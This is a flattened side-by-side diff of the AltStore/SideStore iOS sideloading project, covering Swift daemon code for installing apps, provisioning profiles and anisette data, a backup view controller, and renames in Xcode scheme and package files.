catch let error where fileURL.lastPathComponent == "Inbox" && fileURL.deletingLastPathComponent().lastPathComponent == "Documents" {
// Ignore errors for /Documents/Inbox // Ignore errors for /Documents/Inbox
os_log("Failed to copy Inbox directory: %@", type: .error , error.localizedDescription) print("Failed to copy Inbox directory:", error)
} catch { }
catch {
print(error) print(error)
throw error throw error
} }

View File

@@ -35,16 +35,6 @@
<string>altbackup</string> <string>altbackup</string>
</array> </array>
</dict> </dict>
<dict>
<key>CFBundleTypeRole</key>
<string>Editor</string>
<key>CFBundleURLName</key>
<string>SideBackup General</string>
<key>CFBundleURLSchemes</key>
<array>
<string>sidebackup</string>
</array>
</dict>
</array> </array>
<key>CFBundleVersion</key> <key>CFBundleVersion</key>
<string>1</string> <string>1</string>

View File

@@ -8,7 +8,8 @@
import UIKit import UIKit
extension UIColor { extension UIColor
{
static let altstoreBackground = UIColor(named: "Background")! static let altstoreBackground = UIColor(named: "Background")!
static let altstoreText = UIColor(named: "Text")! static let altstoreText = UIColor(named: "Text")!
} }

View File

@@ -0,0 +1,206 @@
//
// ViewController.swift
// AltBackup
//
// Created by Riley Testut on 5/11/20.
// Copyright © 2020 Riley Testut. All rights reserved.
//
import UIKit
extension Bundle
{
var appName: String? {
let appName =
Bundle.main.object(forInfoDictionaryKey: "CFBundleDisplayName") as? String ??
Bundle.main.object(forInfoDictionaryKey: kCFBundleNameKey as String) as? String
return appName
}
}
extension ViewController
{
enum BackupOperation
{
case backup
case restore
}
}
class ViewController: UIViewController
{
private let backupController = BackupController()
private var currentOperation: BackupOperation? {
didSet {
DispatchQueue.main.async {
self.update()
}
}
}
private var textLabel: UILabel!
private var detailTextLabel: UILabel!
private var activityIndicatorView: UIActivityIndicatorView!
override var preferredStatusBarStyle: UIStatusBarStyle {
return .lightContent
}
override init(nibName nibNameOrNil: String?, bundle nibBundleOrNil: Bundle?)
{
super.init(nibName: nibNameOrNil, bundle: nibBundleOrNil)
NotificationCenter.default.addObserver(self, selector: #selector(ViewController.backup), name: AppDelegate.startBackupNotification, object: nil)
NotificationCenter.default.addObserver(self, selector: #selector(ViewController.restore), name: AppDelegate.startRestoreNotification, object: nil)
NotificationCenter.default.addObserver(self, selector: #selector(ViewController.didEnterBackground(_:)), name: UIApplication.didEnterBackgroundNotification, object: nil)
}
required init?(coder: NSCoder) {
fatalError()
}
override func viewDidLoad()
{
super.viewDidLoad()
self.view.backgroundColor = .altstoreBackground
self.textLabel = UILabel(frame: .zero)
self.textLabel.font = UIFont.preferredFont(forTextStyle: .title2)
self.textLabel.textColor = .altstoreText
self.textLabel.textAlignment = .center
self.textLabel.numberOfLines = 0
self.detailTextLabel = UILabel(frame: .zero)
self.detailTextLabel.font = UIFont.preferredFont(forTextStyle: .body)
self.detailTextLabel.textColor = .altstoreText
self.detailTextLabel.textAlignment = .center
self.detailTextLabel.numberOfLines = 0
self.activityIndicatorView = UIActivityIndicatorView(style: .whiteLarge)
self.activityIndicatorView.color = .altstoreText
self.activityIndicatorView.startAnimating()
#if DEBUG
let button1 = UIButton(type: .system)
button1.setTitle("Backup", for: .normal)
button1.setTitleColor(.white, for: .normal)
button1.titleLabel?.font = UIFont.preferredFont(forTextStyle: .body)
button1.addTarget(self, action: #selector(ViewController.backup), for: .primaryActionTriggered)
let button2 = UIButton(type: .system)
button2.setTitle("Restore", for: .normal)
button2.setTitleColor(.white, for: .normal)
button2.titleLabel?.font = UIFont.preferredFont(forTextStyle: .body)
button2.addTarget(self, action: #selector(ViewController.restore), for: .primaryActionTriggered)
let arrangedSubviews = [self.textLabel!, self.detailTextLabel!, self.activityIndicatorView!, button1, button2]
#else
let arrangedSubviews = [self.textLabel!, self.detailTextLabel!, self.activityIndicatorView!]
#endif
let stackView = UIStackView(arrangedSubviews: arrangedSubviews)
stackView.translatesAutoresizingMaskIntoConstraints = false
stackView.spacing = 22
stackView.axis = .vertical
stackView.alignment = .center
self.view.addSubview(stackView)
NSLayoutConstraint.activate([stackView.centerXAnchor.constraint(equalTo: self.view.centerXAnchor),
stackView.centerYAnchor.constraint(equalTo: self.view.centerYAnchor),
stackView.leadingAnchor.constraint(greaterThanOrEqualToSystemSpacingAfter: self.view.safeAreaLayoutGuide.leadingAnchor, multiplier: 1.0),
self.view.safeAreaLayoutGuide.trailingAnchor.constraint(greaterThanOrEqualToSystemSpacingAfter: stackView.trailingAnchor, multiplier: 1.0)])
self.update()
}
}
private extension ViewController
{
@objc func backup()
{
self.currentOperation = .backup
self.backupController.performBackup { (result) in
let appName = Bundle.main.appName ?? NSLocalizedString("App", comment: "")
let title = String(format: NSLocalizedString("%@ could not be backed up.", comment: ""), appName)
self.process(result, errorTitle: title)
}
}
@objc func restore()
{
self.currentOperation = .restore
self.backupController.restoreBackup { (result) in
let appName = Bundle.main.appName ?? NSLocalizedString("App", comment: "")
let title = String(format: NSLocalizedString("%@ could not be restored.", comment: ""), appName)
self.process(result, errorTitle: title)
}
}
func update()
{
switch self.currentOperation
{
case .backup:
self.textLabel.text = NSLocalizedString("Backing up app data…", comment: "")
self.detailTextLabel.isHidden = true
self.activityIndicatorView.startAnimating()
case .restore:
self.textLabel.text = NSLocalizedString("Restoring app data…", comment: "")
self.detailTextLabel.isHidden = true
self.activityIndicatorView.startAnimating()
case .none:
self.textLabel.text = String(format: NSLocalizedString("%@ is inactive.", comment: ""),
Bundle.main.appName ?? NSLocalizedString("App", comment: ""))
self.detailTextLabel.text = String(format: NSLocalizedString("Refresh %@ in SideStore to continue using it.", comment: ""),
Bundle.main.appName ?? NSLocalizedString("this app", comment: ""))
self.detailTextLabel.isHidden = false
self.activityIndicatorView.stopAnimating()
}
}
}
private extension ViewController
{
func process(_ result: Result<Void, Error>, errorTitle: String)
{
DispatchQueue.main.async {
switch result
{
case .success: break
case .failure(let error as NSError):
let message: String
if let sourceDescription = error.sourceDescription
{
message = error.localizedDescription + "\n\n" + sourceDescription
}
else
{
message = error.localizedDescription
}
let alertController = UIAlertController(title: errorTitle, message: message, preferredStyle: .alert)
alertController.addAction(UIAlertAction(title: NSLocalizedString("OK", comment: ""), style: .default, handler: nil))
self.present(alertController, animated: true, completion: nil)
}
NotificationCenter.default.post(name: AppDelegate.operationDidFinishNotification, object: nil, userInfo: [AppDelegate.operationResultKey: result])
}
}
@objc func didEnterBackground(_ notification: Notification)
{
// Reset UI once we've left app (but not before).
self.currentOperation = nil
}
}

View File

@@ -10,23 +10,27 @@ import Foundation
import AltSign import AltSign
private extension UserDefaults { private extension UserDefaults
{
@objc var localUserID: String? { @objc var localUserID: String? {
get { string(forKey: #keyPath(UserDefaults.localUserID)) } get { return self.string(forKey: #keyPath(UserDefaults.localUserID)) }
set { set(newValue, forKey: #keyPath(UserDefaults.localUserID)) } set { self.set(newValue, forKey: #keyPath(UserDefaults.localUserID)) }
} }
} }
struct AnisetteDataManager { struct AnisetteDataManager
{
static let shared = AnisetteDataManager() static let shared = AnisetteDataManager()
private let dateFormatter = ISO8601DateFormatter() private let dateFormatter = ISO8601DateFormatter()
private init() { private init()
dlopen("/System/Library/PrivateFrameworks/AuthKit.framework/AuthKit", RTLD_NOW) {
dlopen("/System/Library/PrivateFrameworks/AuthKit.framework/AuthKit", RTLD_NOW);
} }
func requestAnisetteData() throws -> ALTAnisetteData { func requestAnisetteData() throws -> ALTAnisetteData
{
var request = URLRequest(url: URL(string: "https://developerservices2.apple.com/services/QH65B2/listTeams.action?clientId=XABBG36SBA")!) var request = URLRequest(url: URL(string: "https://developerservices2.apple.com/services/QH65B2/listTeams.action?clientId=XABBG36SBA")!)
request.httpMethod = "POST" request.httpMethod = "POST"
@@ -37,10 +41,11 @@ struct AnisetteDataManager {
let headers = session.appleIDHeaders(for: request) let headers = session.appleIDHeaders(for: request)
let device = akDevice.current let device = akDevice.current
let date = dateFormatter.date(from: headers["X-Apple-I-Client-Time"] ?? "") ?? Date() let date = self.dateFormatter.date(from: headers["X-Apple-I-Client-Time"] ?? "") ?? Date()
var localUserID = UserDefaults.standard.localUserID var localUserID = UserDefaults.standard.localUserID
if localUserID == nil { if localUserID == nil
{
localUserID = UUID().uuidString localUserID = UUID().uuidString
UserDefaults.standard.localUserID = localUserID UserDefaults.standard.localUserID = localUserID
} }

View File

@@ -10,15 +10,18 @@ import Foundation
import AltSign import AltSign
private extension URL { private extension URL
{
static let profilesDirectoryURL = URL(fileURLWithPath: "/var/MobileDevice/ProvisioningProfiles", isDirectory: true) static let profilesDirectoryURL = URL(fileURLWithPath: "/var/MobileDevice/ProvisioningProfiles", isDirectory: true)
} }
private extension CFNotificationName { private extension CFNotificationName
{
static let updatedProvisioningProfiles = CFNotificationName("MISProvisioningProfileRemoved" as CFString) static let updatedProvisioningProfiles = CFNotificationName("MISProvisioningProfileRemoved" as CFString)
} }
struct AppManager { struct AppManager
{
static let shared = AppManager() static let shared = AppManager()
private let appQueue = DispatchQueue(label: "com.rileytestut.AltDaemon.appQueue", qos: .userInitiated) private let appQueue = DispatchQueue(label: "com.rileytestut.AltDaemon.appQueue", qos: .userInitiated)
@@ -26,13 +29,15 @@ struct AppManager {
private let fileCoordinator = NSFileCoordinator() private let fileCoordinator = NSFileCoordinator()
private init() { private init()
profilesQueue.name = "com.rileytestut.AltDaemon.profilesQueue" {
profilesQueue.qualityOfService = .userInitiated self.profilesQueue.name = "com.rileytestut.AltDaemon.profilesQueue"
self.profilesQueue.qualityOfService = .userInitiated
} }
func installApp(at fileURL: URL, bundleIdentifier: String, activeProfiles _: Set<String>?, completionHandler: @escaping (Result<Void, Error>) -> Void) { func installApp(at fileURL: URL, bundleIdentifier: String, activeProfiles: Set<String>?, completionHandler: @escaping (Result<Void, Error>) -> Void)
appQueue.async { {
self.appQueue.async {
let lsApplicationWorkspace = unsafeBitCast(NSClassFromString("LSApplicationWorkspace")!, to: LSApplicationWorkspace.Type.self) let lsApplicationWorkspace = unsafeBitCast(NSClassFromString("LSApplicationWorkspace")!, to: LSApplicationWorkspace.Type.self)
let options = ["CFBundleIdentifier": bundleIdentifier, "AllowInstallLocalProvisioned": NSNumber(value: true)] as [String : Any] let options = ["CFBundleIdentifier": bundleIdentifier, "AllowInstallLocalProvisioned": NSNumber(value: true)] as [String : Any]
@@ -42,8 +47,9 @@ struct AppManager {
} }
} }
func removeApp(forBundleIdentifier bundleIdentifier: String, completionHandler: @escaping (Result<Void, Error>) -> Void) { func removeApp(forBundleIdentifier bundleIdentifier: String, completionHandler: @escaping (Result<Void, Error>) -> Void)
appQueue.async { {
self.appQueue.async {
let lsApplicationWorkspace = unsafeBitCast(NSClassFromString("LSApplicationWorkspace")!, to: LSApplicationWorkspace.Type.self) let lsApplicationWorkspace = unsafeBitCast(NSClassFromString("LSApplicationWorkspace")!, to: LSApplicationWorkspace.Type.self)
lsApplicationWorkspace.default.uninstallApplication(bundleIdentifier, withOptions: nil) lsApplicationWorkspace.default.uninstallApplication(bundleIdentifier, withOptions: nil)
@@ -51,11 +57,14 @@ struct AppManager {
} }
} }
func install(_ profiles: Set<ALTProvisioningProfile>, activeProfiles: Set<String>?, completionHandler: @escaping (Result<Void, Error>) -> Void) { func install(_ profiles: Set<ALTProvisioningProfile>, activeProfiles: Set<String>?, completionHandler: @escaping (Result<Void, Error>) -> Void)
{
let intent = NSFileAccessIntent.writingIntent(with: .profilesDirectoryURL, options: []) let intent = NSFileAccessIntent.writingIntent(with: .profilesDirectoryURL, options: [])
fileCoordinator.coordinate(with: [intent], queue: profilesQueue) { error in self.fileCoordinator.coordinate(with: [intent], queue: self.profilesQueue) { (error) in
do { do
if let error = error { {
if let error = error
{
throw error throw error
} }
@@ -64,24 +73,31 @@ struct AppManager {
let profileURLs = try FileManager.default.contentsOfDirectory(at: intent.url, includingPropertiesForKeys: nil, options: []) let profileURLs = try FileManager.default.contentsOfDirectory(at: intent.url, includingPropertiesForKeys: nil, options: [])
// Remove all inactive profiles (if active profiles are provided), and the previous profiles. // Remove all inactive profiles (if active profiles are provided), and the previous profiles.
for fileURL in profileURLs { for fileURL in profileURLs
{
// Use memory mapping to reduce peak memory usage and stay within limit. // Use memory mapping to reduce peak memory usage and stay within limit.
guard let profile = try? ALTProvisioningProfile(url: fileURL, options: [.mappedIfSafe]) else { continue } guard let profile = try? ALTProvisioningProfile(url: fileURL, options: [.mappedIfSafe]) else { continue }
if installingBundleIDs.contains(profile.bundleIdentifier) || (activeProfiles?.contains(profile.bundleIdentifier) == false && profile.isFreeProvisioningProfile) { if installingBundleIDs.contains(profile.bundleIdentifier) || (activeProfiles?.contains(profile.bundleIdentifier) == false && profile.isFreeProvisioningProfile)
{
try FileManager.default.removeItem(at: fileURL) try FileManager.default.removeItem(at: fileURL)
} else { }
os_log("Ignoring: %@ %@", type: .info , profile.bundleIdentifier, profile.uuid) else
{
print("Ignoring:", profile.bundleIdentifier, profile.uuid)
} }
} }
for profile in profiles { for profile in profiles
{
let destinationURL = URL.profilesDirectoryURL.appendingPathComponent(profile.uuid.uuidString.lowercased()) let destinationURL = URL.profilesDirectoryURL.appendingPathComponent(profile.uuid.uuidString.lowercased())
try profile.data.write(to: destinationURL, options: .atomic) try profile.data.write(to: destinationURL, options: .atomic)
} }
completionHandler(.success(())) completionHandler(.success(()))
} catch { }
catch
{
completionHandler(.failure(error)) completionHandler(.failure(error))
} }
@@ -90,22 +106,28 @@ struct AppManager {
} }
} }
func removeProvisioningProfiles(forBundleIdentifiers bundleIdentifiers: Set<String>, completionHandler: @escaping (Result<Void, Error>) -> Void) { func removeProvisioningProfiles(forBundleIdentifiers bundleIdentifiers: Set<String>, completionHandler: @escaping (Result<Void, Error>) -> Void)
{
let intent = NSFileAccessIntent.writingIntent(with: .profilesDirectoryURL, options: []) let intent = NSFileAccessIntent.writingIntent(with: .profilesDirectoryURL, options: [])
fileCoordinator.coordinate(with: [intent], queue: profilesQueue) { error in self.fileCoordinator.coordinate(with: [intent], queue: self.profilesQueue) { (error) in
do { do
{
let profileURLs = try FileManager.default.contentsOfDirectory(at: intent.url, includingPropertiesForKeys: nil, options: []) let profileURLs = try FileManager.default.contentsOfDirectory(at: intent.url, includingPropertiesForKeys: nil, options: [])
for fileURL in profileURLs { for fileURL in profileURLs
{
guard let profile = ALTProvisioningProfile(url: fileURL) else { continue } guard let profile = ALTProvisioningProfile(url: fileURL) else { continue }
if bundleIdentifiers.contains(profile.bundleIdentifier) { if bundleIdentifiers.contains(profile.bundleIdentifier)
{
try FileManager.default.removeItem(at: fileURL) try FileManager.default.removeItem(at: fileURL)
} }
} }
completionHandler(.success(())) completionHandler(.success(()))
} catch { }
catch
{
completionHandler(.failure(error)) completionHandler(.failure(error))
} }

View File

@@ -8,69 +8,75 @@
import Foundation import Foundation
import SideKit
import OSLog
#if canImport(Logging)
import Logging
#endif
typealias DaemonConnectionManager = ConnectionManager<DaemonRequestHandler> typealias DaemonConnectionManager = ConnectionManager<DaemonRequestHandler>
private let connectionManager = ConnectionManager(requestHandler: DaemonRequestHandler(), private let connectionManager = ConnectionManager(requestHandler: DaemonRequestHandler(),
connectionHandlers: [XPCConnectionHandler()]) connectionHandlers: [XPCConnectionHandler()])
extension DaemonConnectionManager { extension DaemonConnectionManager
{
static var shared: ConnectionManager { static var shared: ConnectionManager {
connectionManager return connectionManager
} }
} }
struct DaemonRequestHandler: RequestHandler { struct DaemonRequestHandler: RequestHandler
func handleAnisetteDataRequest(_: AnisetteDataRequest, for _: Connection, completionHandler: @escaping (Result<AnisetteDataResponse, Error>) -> Void) { {
do { func handleAnisetteDataRequest(_ request: AnisetteDataRequest, for connection: Connection, completionHandler: @escaping (Result<AnisetteDataResponse, Error>) -> Void)
{
do
{
let anisetteData = try AnisetteDataManager.shared.requestAnisetteData() let anisetteData = try AnisetteDataManager.shared.requestAnisetteData()
let response = AnisetteDataResponse(anisetteData: anisetteData) let response = AnisetteDataResponse(anisetteData: anisetteData)
completionHandler(.success(response)) completionHandler(.success(response))
} catch { }
catch
{
completionHandler(.failure(error)) completionHandler(.failure(error))
} }
} }
func handlePrepareAppRequest(_ request: PrepareAppRequest, for connection: Connection, completionHandler: @escaping (Result<InstallationProgressResponse, Error>) -> Void) { func handlePrepareAppRequest(_ request: PrepareAppRequest, for connection: Connection, completionHandler: @escaping (Result<InstallationProgressResponse, Error>) -> Void)
{
guard let fileURL = request.fileURL else { return completionHandler(.failure(ALTServerError(.invalidRequest))) } guard let fileURL = request.fileURL else { return completionHandler(.failure(ALTServerError(.invalidRequest))) }
print("Awaiting begin installation request...") print("Awaiting begin installation request...")
connection.receiveRequest { result in connection.receiveRequest() { (result) in
os_log("Received begin installation request with result: %@", type: .info , String(describing: result)) print("Received begin installation request with result:", result)
do { do
guard case let .beginInstallation(request) = try result.get() else { throw ALTServerError(.unknownRequest) } {
guard case .beginInstallation(let request) = try result.get() else { throw ALTServerError(.unknownRequest) }
guard let bundleIdentifier = request.bundleIdentifier else { throw ALTServerError(.invalidRequest) } guard let bundleIdentifier = request.bundleIdentifier else { throw ALTServerError(.invalidRequest) }
AppManager.shared.installApp(at: fileURL, bundleIdentifier: bundleIdentifier, activeProfiles: request.activeProfiles) { result in AppManager.shared.installApp(at: fileURL, bundleIdentifier: bundleIdentifier, activeProfiles: request.activeProfiles) { (result) in
let result = result.map { InstallationProgressResponse(progress: 1.0) } let result = result.map { InstallationProgressResponse(progress: 1.0) }
os_log("Installed app with result: %@", type: .info, String(describing: result)) print("Installed app with result:", result)
completionHandler(result) completionHandler(result)
} }
} catch { }
catch
{
completionHandler(.failure(error)) completionHandler(.failure(error))
} }
} }
} }
func handleInstallProvisioningProfilesRequest(_ request: InstallProvisioningProfilesRequest, for _: Connection, func handleInstallProvisioningProfilesRequest(_ request: InstallProvisioningProfilesRequest, for connection: Connection,
completionHandler: @escaping (Result<InstallProvisioningProfilesResponse, Error>) -> Void) { completionHandler: @escaping (Result<InstallProvisioningProfilesResponse, Error>) -> Void)
AppManager.shared.install(request.provisioningProfiles, activeProfiles: request.activeProfiles) { result in {
switch result { AppManager.shared.install(request.provisioningProfiles, activeProfiles: request.activeProfiles) { (result) in
case let .failure(error): switch result
os_log("Failed to install profiles %@ : %@", type: .error , request.provisioningProfiles.map { $0.bundleIdentifier }.joined(separator: "\n"), error.localizedDescription) {
case .failure(let error):
print("Failed to install profiles \(request.provisioningProfiles.map { $0.bundleIdentifier }):", error)
completionHandler(.failure(error)) completionHandler(.failure(error))
case .success: case .success:
os_log("Installed profiles: %@", type: .info , request.provisioningProfiles.map { $0.bundleIdentifier }.joined(separator: "\n")) print("Installed profiles:", request.provisioningProfiles.map { $0.bundleIdentifier })
let response = InstallProvisioningProfilesResponse() let response = InstallProvisioningProfilesResponse()
completionHandler(.success(response)) completionHandler(.success(response))
@@ -78,16 +84,18 @@ struct DaemonRequestHandler: RequestHandler {
} }
} }
func handleRemoveProvisioningProfilesRequest(_ request: RemoveProvisioningProfilesRequest, for _: Connection, func handleRemoveProvisioningProfilesRequest(_ request: RemoveProvisioningProfilesRequest, for connection: Connection,
completionHandler: @escaping (Result<RemoveProvisioningProfilesResponse, Error>) -> Void) { completionHandler: @escaping (Result<RemoveProvisioningProfilesResponse, Error>) -> Void)
AppManager.shared.removeProvisioningProfiles(forBundleIdentifiers: request.bundleIdentifiers) { result in {
switch result { AppManager.shared.removeProvisioningProfiles(forBundleIdentifiers: request.bundleIdentifiers) { (result) in
case let .failure(error): switch result
os_log("Failed to remove profiles %@ : %@", type: .error, request.bundleIdentifiers, error.localizedDescription) {
case .failure(let error):
print("Failed to remove profiles \(request.bundleIdentifiers):", error)
completionHandler(.failure(error)) completionHandler(.failure(error))
case .success: case .success:
os_log("Removed profiles: %@", type: .info , request.bundleIdentifiers) print("Removed profiles:", request.bundleIdentifiers)
let response = RemoveProvisioningProfilesResponse() let response = RemoveProvisioningProfilesResponse()
completionHandler(.success(response)) completionHandler(.success(response))
@@ -95,15 +103,17 @@ struct DaemonRequestHandler: RequestHandler {
} }
} }
func handleRemoveAppRequest(_ request: RemoveAppRequest, for _: Connection, completionHandler: @escaping (Result<RemoveAppResponse, Error>) -> Void) { func handleRemoveAppRequest(_ request: RemoveAppRequest, for connection: Connection, completionHandler: @escaping (Result<RemoveAppResponse, Error>) -> Void)
AppManager.shared.removeApp(forBundleIdentifier: request.bundleIdentifier) { result in {
switch result { AppManager.shared.removeApp(forBundleIdentifier: request.bundleIdentifier) { (result) in
case let .failure(error): switch result
os_log("Failed to remove app %@ : %@", type: .error , request.bundleIdentifier, error.localizedDescription) {
case .failure(let error):
print("Failed to remove app \(request.bundleIdentifier):", error)
completionHandler(.failure(error)) completionHandler(.failure(error))
case .success: case .success:
os_log("Removed app: %@", type: .info , request.bundleIdentifier) print("Removed app:", request.bundleIdentifier)
let response = RemoveAppResponse() let response = RemoveAppResponse()
completionHandler(.success(response)) completionHandler(.success(response))

View File

@@ -8,41 +8,49 @@
import Foundation import Foundation
import Security import Security
import SideStoreCore
class XPCConnectionHandler: NSObject, ConnectionHandler { class XPCConnectionHandler: NSObject, ConnectionHandler
{
var connectionHandler: ((Connection) -> Void)? var connectionHandler: ((Connection) -> Void)?
var disconnectionHandler: ((Connection) -> Void)? var disconnectionHandler: ((Connection) -> Void)?
private let dispatchQueue = DispatchQueue(label: "io.altstore.XPCConnectionListener", qos: .utility) private let dispatchQueue = DispatchQueue(label: "io.altstore.XPCConnectionListener", qos: .utility)
private let listeners = XPCConnection.machServiceNames.map { NSXPCListener.makeListener(machServiceName: $0) } private let listeners = XPCConnection.machServiceNames.map { NSXPCListener.makeListener(machServiceName: $0) }
deinit { deinit
{
self.stopListening() self.stopListening()
} }
func startListening() { func startListening()
for listener in listeners { {
for listener in self.listeners
{
listener.delegate = self listener.delegate = self
listener.resume() listener.resume()
} }
} }
func stopListening() { func stopListening()
listeners.forEach { $0.suspend() } {
self.listeners.forEach { $0.suspend() }
} }
} }
private extension XPCConnectionHandler { private extension XPCConnectionHandler
func disconnect(_ connection: Connection) { {
func disconnect(_ connection: Connection)
{
connection.disconnect() connection.disconnect()
disconnectionHandler?(connection) self.disconnectionHandler?(connection)
} }
} }
extension XPCConnectionHandler: NSXPCListenerDelegate { extension XPCConnectionHandler: NSXPCListenerDelegate
func listener(_: NSXPCListener, shouldAcceptNewConnection newConnection: NSXPCConnection) -> Bool { {
func listener(_ listener: NSXPCListener, shouldAcceptNewConnection newConnection: NSXPCConnection) -> Bool
{
let maximumPathLength = 4 * UInt32(MAXPATHLEN) let maximumPathLength = 4 * UInt32(MAXPATHLEN)
let pathBuffer = UnsafeMutablePointer<CChar>.allocate(capacity: Int(maximumPathLength)) let pathBuffer = UnsafeMutablePointer<CChar>.allocate(capacity: Int(maximumPathLength))
@@ -78,7 +86,7 @@ extension XPCConnectionHandler: NSXPCListenerDelegate {
self.disconnect(connection) self.disconnect(connection)
} }
connectionHandler?(connection) self.connectionHandler?(connection)
return true return true
} }

3
AltStore.xcconfig Normal file
View File

@@ -0,0 +1,3 @@
#include "Build.xcconfig"
PRODUCT_BUNDLE_IDENTIFIER = $(PRODUCT_BUNDLE_IDENTIFIER)

View File

@@ -63,15 +63,6 @@
"version" : "1.10.1" "version" : "1.10.1"
} }
}, },
{
"identity" : "roxas",
"kind" : "remoteSourceControl",
"location" : "https://github.com/JoeMatt/Roxas.git",
"state" : {
"revision" : "17338c09ec0ffeea4c68135f17c1f801a3d6d10d",
"version" : "1.2.2"
}
},
{ {
"identity" : "semanticversion", "identity" : "semanticversion",
"kind" : "remoteSourceControl", "kind" : "remoteSourceControl",
@@ -81,15 +72,6 @@
"version" : "0.3.5" "version" : "0.3.5"
} }
}, },
{
"identity" : "sidekit",
"kind" : "remoteSourceControl",
"location" : "https://github.com/SideStore/SideKit.git",
"state" : {
"revision" : "7ea34a09b52c104077dea8e0b90f8dc55d43b36b",
"version" : "0.1.0"
}
},
{ {
"identity" : "sparkle", "identity" : "sparkle",
"kind" : "remoteSourceControl", "kind" : "remoteSourceControl",

View File

@@ -31,7 +31,7 @@
BlueprintIdentifier = "BF1E314F22A0616100370A3C" BlueprintIdentifier = "BF1E314F22A0616100370A3C"
BuildableName = "libAltKit.a" BuildableName = "libAltKit.a"
BlueprintName = "AltKit" BlueprintName = "AltKit"
ReferencedContainer = "container:SideStore.xcodeproj"> ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference> </BuildableReference>
</BuildActionEntry> </BuildActionEntry>
<BuildActionEntry <BuildActionEntry
@@ -43,9 +43,9 @@
<BuildableReference <BuildableReference
BuildableIdentifier = "primary" BuildableIdentifier = "primary"
BlueprintIdentifier = "BF18BFE624857D7900DD5981" BlueprintIdentifier = "BF18BFE624857D7900DD5981"
BuildableName = "SideDaemon" BuildableName = "AltDaemon"
BlueprintName = "SideDaemon" BlueprintName = "AltDaemon"
ReferencedContainer = "container:SideStore.xcodeproj"> ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference> </BuildableReference>
</BuildActionEntry> </BuildActionEntry>
</BuildActionEntries> </BuildActionEntries>
@@ -72,9 +72,9 @@
<BuildableReference <BuildableReference
BuildableIdentifier = "primary" BuildableIdentifier = "primary"
BlueprintIdentifier = "BF18BFE624857D7900DD5981" BlueprintIdentifier = "BF18BFE624857D7900DD5981"
BuildableName = "SideDaemon" BuildableName = "AltDaemon"
BlueprintName = "SideDaemon" BlueprintName = "AltDaemon"
ReferencedContainer = "container:SideStore.xcodeproj"> ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference> </BuildableReference>
</MacroExpansion> </MacroExpansion>
<EnvironmentVariables> <EnvironmentVariables>
@@ -95,9 +95,9 @@
<BuildableReference <BuildableReference
BuildableIdentifier = "primary" BuildableIdentifier = "primary"
BlueprintIdentifier = "BF18BFE624857D7900DD5981" BlueprintIdentifier = "BF18BFE624857D7900DD5981"
BuildableName = "SideDaemon" BuildableName = "AltDaemon"
BlueprintName = "SideDaemon" BlueprintName = "AltDaemon"
ReferencedContainer = "container:SideStore.xcodeproj"> ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference> </BuildableReference>
</MacroExpansion> </MacroExpansion>
</ProfileAction> </ProfileAction>

View File

@@ -17,7 +17,7 @@
BlueprintIdentifier = "BF5C5FC4237DF5AE00EDD0C6" BlueprintIdentifier = "BF5C5FC4237DF5AE00EDD0C6"
BuildableName = "AltPlugin.mailbundle" BuildableName = "AltPlugin.mailbundle"
BlueprintName = "AltPlugin" BlueprintName = "AltPlugin"
ReferencedContainer = "container:SideStore.xcodeproj"> ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference> </BuildableReference>
</BuildActionEntry> </BuildActionEntry>
</BuildActionEntries> </BuildActionEntries>
@@ -53,7 +53,7 @@
BlueprintIdentifier = "BF5C5FC4237DF5AE00EDD0C6" BlueprintIdentifier = "BF5C5FC4237DF5AE00EDD0C6"
BuildableName = "AltPlugin.mailbundle" BuildableName = "AltPlugin.mailbundle"
BlueprintName = "AltPlugin" BlueprintName = "AltPlugin"
ReferencedContainer = "container:SideStore.xcodeproj"> ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference> </BuildableReference>
</MacroExpansion> </MacroExpansion>
</ProfileAction> </ProfileAction>

View File

@@ -17,7 +17,7 @@
BlueprintIdentifier = "BF45868C229872EA00BD7491" BlueprintIdentifier = "BF45868C229872EA00BD7491"
BuildableName = "AltServer.app" BuildableName = "AltServer.app"
BlueprintName = "AltServer" BlueprintName = "AltServer"
ReferencedContainer = "container:SideStore.xcodeproj"> ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference> </BuildableReference>
</BuildActionEntry> </BuildActionEntry>
</BuildActionEntries> </BuildActionEntries>
@@ -27,17 +27,19 @@
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB" selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB" selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
shouldUseLaunchSchemeArgsEnv = "YES"> shouldUseLaunchSchemeArgsEnv = "YES">
<Testables>
</Testables>
<MacroExpansion> <MacroExpansion>
<BuildableReference <BuildableReference
BuildableIdentifier = "primary" BuildableIdentifier = "primary"
BlueprintIdentifier = "BF45868C229872EA00BD7491" BlueprintIdentifier = "BF45868C229872EA00BD7491"
BuildableName = "AltServer.app" BuildableName = "AltServer.app"
BlueprintName = "AltServer" BlueprintName = "AltServer"
ReferencedContainer = "container:SideStore.xcodeproj"> ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference> </BuildableReference>
</MacroExpansion> </MacroExpansion>
<Testables> <AdditionalOptions>
</Testables> </AdditionalOptions>
</TestAction> </TestAction>
<LaunchAction <LaunchAction
buildConfiguration = "Debug" buildConfiguration = "Debug"
@@ -56,9 +58,11 @@
BlueprintIdentifier = "BF45868C229872EA00BD7491" BlueprintIdentifier = "BF45868C229872EA00BD7491"
BuildableName = "AltServer.app" BuildableName = "AltServer.app"
BlueprintName = "AltServer" BlueprintName = "AltServer"
ReferencedContainer = "container:SideStore.xcodeproj"> ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference> </BuildableReference>
</BuildableProductRunnable> </BuildableProductRunnable>
<AdditionalOptions>
</AdditionalOptions>
</LaunchAction> </LaunchAction>
<ProfileAction <ProfileAction
buildConfiguration = "Release" buildConfiguration = "Release"
@@ -73,7 +77,7 @@
BlueprintIdentifier = "BF45868C229872EA00BD7491" BlueprintIdentifier = "BF45868C229872EA00BD7491"
BuildableName = "AltServer.app" BuildableName = "AltServer.app"
BlueprintName = "AltServer" BlueprintName = "AltServer"
ReferencedContainer = "container:SideStore.xcodeproj"> ReferencedContainer = "container:AltStore.xcodeproj">
